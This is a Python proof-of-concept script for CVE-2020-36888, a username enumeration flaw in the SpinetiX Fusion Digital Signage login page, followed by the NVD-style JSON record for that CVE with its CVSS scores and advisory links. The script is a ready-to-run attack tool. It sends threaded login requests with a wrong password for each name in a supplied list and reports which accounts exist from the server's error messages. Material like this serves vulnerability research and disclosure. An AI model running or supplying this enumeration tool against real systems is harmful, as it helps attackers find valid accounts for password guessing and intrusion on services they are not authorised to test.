CVE-2020-36888

#!/usr/bin/env python3 """ CVE-2020-36888 - SpinetiX Fusion Username Enumeration PoC This PoC demonstrates username enumeration vulnerability in SpinetiX Fusion login script. """ import requests import sys from concurrent.futures import ThreadPoolExecutor def check_username(base_url, username): """ Check if a username exists by analyzing server response. """ login_endpoint = f"{base_url}/login" # Craft login request with the username to test data = { 'username': username, 'password': 'wrong_password_12345' } try: response = requests.post(login_endpoint, data=data, timeout=10) # Analyze response to identify valid username # Different responses indicate username existence if 'Invalid password' in response.text or response.status_code == 401: return {'username': username, 'exists': True, 'response': 'valid_user'} elif 'not found' in response.text.lower() or 'does not exist' in response.text.lower(): return {'username': username, 'exists': False, 'response': 'user_not_found'} else: return {'username': username, 'exists': None, 'response': 'unknown'} except requests.exceptions.RequestException as e: return {'username': username, 'exists': None, 'error': str(e)} def main(): if len(sys.argv) < 3: print(f"Usage: python3 {sys.argv[0]} <target_url> <username_list_file>") print(f"Example: python3 {sys.argv[0]} http://target.com usernames.txt") sys.exit(1) target_url = sys.argv[1] username_file = sys.argv[2] # Read usernames from file with open(username_file, 'r') as f: usernames = [line.strip() for line in f if line.strip()] print(f"[*] Starting username enumeration against {target_url}") print(f"[*] Testing {len(usernames)} usernames...\n") # Test usernames with thread pool for efficiency valid_users = [] with ThreadPoolExecutor(max_workers=10) as executor: results = executor.map(lambda u: check_username(target_url, u), usernames) for result in results: if result['exists']: print(f"[+] Valid username found: {result['username']}") valid_users.append(result['username']) print(f"\n[*] Enumeration complete. Found {len(valid_users)} valid usernames.") if valid_users: print("\n[*] Valid usernames:") for user in valid_users: print(f" - {user}") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2020-36888", "sourceIdentifier": "[email protected]", "published": "2025-12-10T21:16:01.270", "lastModified": "2025-12-17T16:46:45.833", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SpinetiX Fusion Digital Signage 3.4.8 contains a username enumeration vulnerability in its login script that allows attackers to identify valid user accounts. Attackers can send crafted login requests with different usernames to distinguish between existing and non-existing accounts by analyzing the server's error responses."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-203"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:spinetix:fusion_digital_signage:*:*:*:*:*:*:*:*", "versionEndIncluding": "3.4.8", "matchCriteriaId": "C299B96F-3700-44CD-A70B-905C1BFBEFCB"}]}]}], "references": [{"url": "https://www.exploit-db.com/exploits/48847", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}, {"url": "https://www.spinetix.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/spinetix-fusion-digital-signage-username-enumeration-via-login-script", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5591.php", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5591.php", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}